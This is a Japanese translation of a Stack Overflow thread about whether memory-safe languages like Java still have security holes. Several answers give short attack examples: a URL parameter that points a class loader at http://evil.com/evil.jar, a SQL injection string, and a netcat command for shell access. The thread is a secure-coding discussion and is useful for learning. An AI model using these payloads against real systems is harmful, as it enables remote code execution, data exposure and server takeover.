java - 「安全な」言語でのセキュリティの悪用

Question

CERTで働く Brian Seacord によるSecure Coding in C and C++ を最近読み終えました。

全体として、これは優れた本であり、まだ読んでいないプログラマーにはこの本をお勧めします。それを読んだ後、さまざまな種類のセキュリティ脆弱性 (エクスプロイトコードインジェクション、バッファオーバーフロー、整数オーバーフロー、文字列フォーマットの脆弱性など) のすべてについて、すべてのセキュリティホールが 1 つのことに帰着するように思えます。プロセスによって正当に割り当てられたバッファによって制限されていないメモリアドレスにアクセスする機能。

悪意のあるコードを挿入したり、プログラムロジックを再ルーティングしたりできるかどうかは、正当に割り当てられたバッファの外にあるメモリアドレスにアクセスできるかどうかにかかっています。しかし、Java のような言語では、これはまったく不可能です。起こりうる最悪の事態は、プログラムがで終了し、ArrayIndexOutOfBoundsExceptionサービス拒否につながることです。

では、Java のような「安全な」言語では、無効なメモリアクセスが不可能なセキュリティ上の脆弱性はありますか? (ここでは例として Java を使用していますが、無効なメモリアクセスを防止するあらゆる言語のセキュリティの脆弱性について知りたいと思っています。)

score 8 · Accepted Answer

もちろん、C / C++ に焦点を当てた本は、最も一般的なエクスプロイトに焦点を当てています。スタック上のメモリトリックなど。

直接メモリにアクセスせずに多くのセキュリティ警告を備えた言語の「明白な」例については... PHPはどうですか? 通常の XSS、CSRF、SQL インジェクションとは別に、古いバージョンの PHP ではインクルードマジックなどによりリモートコードインジェクションが発生します。Java の例はあると思いますが、私は Java セキュリティの専門家ではありません...

しかし、Java セキュリティの専門家が存在するため、心配する必要がある場合もあると思います。(特に、SQL インジェクションはナイーブな Web Java 開発者を悩ませているに違いありません)。

EDIT：頭のてっぺんから、JavaにはClassLoaderを介したクラスの動的ロードがあります。なんらかの理由でカスタムクラスローダーを作成し、.class ファイルを検証しなかった場合、コードインジェクションまでプログラムを開くことになります。このカスタムクラスローダーが何らかの方法でインターネットからクラスを読み取ると、リモートコードインジェクションも可能になります。奇妙に聞こえるかもしれませんが、これはかなり一般的です。Eclipse とそのプラグインフレームワークについて考えてみましょう。文字通り、ダウンロードしたコードを自動的にロードして実行します。確かに、Eclipse のアーキテクチャーについてはわかりませんが、Eclipse プラグイン開発者にとってセキュリティが懸念事項であることは間違いありません。

score 6 · Accepted Answer

悪意のあるコードを挿入したり、プログラムロジックを再ルーティングしたりできるかどうかは、正当に割り当てられたバッファの外にあるメモリアドレスにアクセスできるかどうかに完全に依存しています。

これは、悪意のあるものと悪意のないものの狭い視野として私を襲います。たとえば、SQLインジェクション（または実際には任意のタイプのインジェクション）は、バッファオーバーフローを必要とせず、通常、悪意のあるコードをシステムにインジェクションします。ただし、それは確かに可能です。たとえば、一部の管理対象言語では、管理対象文字列クラスの途中でNULL文字を使用できます。文字列が基盤となるOSに渡され、APIがC / C ++で駆動されるため、最初に見つかった\ 0で文字列が切り捨てられるという興味深いバグがあります。これにより、たとえば、ファイルシステム内を移動できる場合があります。切り捨てエラーのために自由に。

次に、悪い暗号化、情報漏えい、およびバッファを含まないその他のあらゆる種類の楽しいセキュリティエラーがあります...

score 5 · Accepted Answer

これは興味深いセキュリティホールです。おそらく、C++システムよりもJavaシステムの方がはるかに可能性が高いです。

Webフレームワークがリフレクションを使用してURLパラメーターからオブジェクトフィールドを設定するとします。

/update?a=1&b[2]=2&c.x=3&c.y=4

とても便利でパワフルです。任意のオブジェクトグラフのトラバーサルを可能にします。

攻撃者がこのようなURLをフィードすると

/update?class.classLoader.ucp.urls.elementData[0]=http://evil.com/evil.jar

ゲームオーバー。システム全体が攻撃者の制御下にあります。

http://seclists.org/fulldisclosure/2010/Jun/456を参照してください

春だけに起こったとは思いません。世の中には多くのJavaシステムがあり、その腹をオープンワールドにさらしています。

score 5 · Accepted Answer

はい。これは複数回発生しています。言語がメモリへの無効なアクセスを困難にするからといって、攻撃から自動的に保護されるわけではありません。また、エクスプロイトをまったく必要とせずに、悪意のあるプログラムをユーザーに実行させることができる「ソーシャルエンジニアリング」も存在します。

あなたができる最善のことは、ソフトウェアを最新の状態に保ち、バグを減らすプログラミング手法を使用し、重大なバグが発見されたらすぐに修正し、ユーザーを教育することです。

score 3 · Accepted Answer

Sun独自のJavaプログラミング言語バージョン3.0のセキュアコーディングガイドラインから：

Javaプラットフォームには、独自の一連のセキュリティ上の課題があります。その主な設計上の考慮事項の1つは、モバイルコードを実行するための安全な環境を提供することです。Javaセキュリティアーキテクチャは、ネットワークを介してダウンロードされた敵対的なプログラムからユーザーとシステムを保護できますが、信頼できるコードで発生する実装のバグを防ぐことはできません。このようなバグは、セキュリティアーキテクチャが含むように設計されたまさにその穴を不注意に開く可能性があります...

score 2 · Accepted Answer

チェックされていないユーザー入力は、多くのセキュリティホールにつながる可能性があります。

 stmt.executeQuery("SELECT * FROM Users where userName='" + userName + "'");

が検証されておらず、外部ソースからのものである場合userName、誰かがuserNameをとして簡単に提供できます"john' or userName != '"。テーブル内のすべてのデータの公開につながります。

Runtime.getRuntime().exec(command);

ここでも同じです。コマンドが検証されておらず、外部ソースからのものである場合、誰かが「/ bin / sh | nc -l 10000」などと実行して、サーバー上のシェルアクセスを取得する可能性があります。または、ローカルのセキュリティホールを悪用するCソースプログラムを挿入commandし、サーバー上でコンパイルして実行します。

score 1 · Accepted Answer

したがって、仮想マシンの実装は、脆弱性を見つけるために必要なものになります。VM実装のロックダウンが簡単だと思う場合は、Action Script仮想マシンのエクスプロイトの詳細に関するこの驚くべき説明を読んで、本当にできるかどうかを検討してください。そのような穴が存在しなかったことを保証します。

score 1 · Accepted Answer

ほとんどすべての言語に影響を与える可能性のあるセキュリティエクスプロイトがたくさんあります。古いエクスプロイトもあれば、新しいエクスプロイトもあります。

古い学校のエクスプロイトの例は、安全でないアクセス許可を持つ一時ファイルまたは安全でないディレクトリを作成することです。その結果、情報が漏洩したり、攻撃者が自分の情報を挿入したりします。

SQLインジェクションのエクスプロイトも長い間存在していました（つまり、検証されていないテキストをユーザーからSQLパーサーに渡す）。

XSSタイプの攻撃は比較的新しく、どのサーバープログラミング言語でも簡単に作成できます。

score 1 · Accepted Answer

多くのプログラミングセキュリティの脆弱性は、特定の言語またはフレームワークに固有のインジェクション攻撃として分類できます。C++ でのインジェクション攻撃について具体的に読んでいます。これにより、ユーザーはバッファオーバーフローまたは文字列フォーマットの脆弱性を介してコードをインジェクトできます。調査を HTML に拡張すると、クロスサイトスクリプティング (JS コードのインジェクション) と SQL インジェクション (SQL クエリのインジェクション) がかなり一般的であることがわかります。PHP を見てみると、コマンドレベルのインジェクションが通常の問題になる傾向があることがわかります。

最終的に、各言語とフレームワークにはそれぞれの問題があります。それらに注意してください。もちろん、使用する言語、フレームワーク、または OS に関係なく、ビジネスロジックのセキュリティエラーは存在し続けます。たとえば、マイナスの数量のアイテムをマイナスの合計金額で購入できるショッピングカートは、単純にプログラミングスキルが低いため、セキュリティ上の問題になります。

score 1 · Accepted Answer

Java は、メモリエクスプロイトにおいて C++ よりも安全です (言語に組み込まれている明示的な境界チェックのため)。これにより、バッファオーバーフローエクスプロイトのカテゴリが排除されます。
しかし、Java は完全に安全というわけではありません。
プログラマーの利便性のために言語に組み込まれた機能は、悪意のある攻撃の一部として使用される可能性があります。たとえば、リフレクションを使用すると、プログラムはクラス変数の値を見つけて変更できます（セキュリティマネージャーをオーバーライドする方法があります-少なくとも読んだことがあります）。
シリアライゼーションには問題があり (RMI の脆弱性を確認してください)、プログラマーが心配せずに使用する多くの API が、悪い結果をもたらす可能性があります。たとえば、プログラムのクラスローダーを使用して「信頼できない」をロードする API。ライブラリ。

score 0 · Accepted Answer

Java プログラムは空中では実行されません。それは完全なプラットフォームであり、このプラットフォームのプログラマーはプログラミングエラーを犯す人間にすぎません。Java コード自体は安全かもしれませんが、それを実行するにはプラットフォームが必要であり、他の攻撃経路を開きます。

score 0 · Accepted Answer

この種の見落としに対して特に脆弱な Java に関する質問であるため、これについて言及されていないことに失望しています。

Java では、可視性は、コードが安全であることを保証しようとするソフトウェア開発者にとって重要な関心事です。特に、「外部」コードを頻繁に実行する拡張可能なフレームワークのコンテキストでは、有効であると信頼している情報を過度に公開しないことが重要です。

実際には非公開にする必要があるものを公開した場合、潜在的な脆弱性が発生します。防御コピーの代わりに積極的に使用しているオブジェクトへの参照を渡すと、標準ユーザーがアクセスできないデータを誤って公開してしまう可能性があります。ユーザーにコピーではなく参照を持たせたい場合もありますが、これがしばらく存続するデータの一部である場合は、データを確実に制御できるようにするためだけにコピーを作成することを検討する必要があります。その先のポイント。

私が不変として扱っているクラスのメンバーデータフィールドへの参照を誰かに許可すると、興味深いまたは奇妙な動作が発生する可能性があります。有効性チェックを行ってサニタイズした後、データを変更できます。

java - 「安全な」言語でのセキュリティの悪用

12 に答える 12

Related

Reference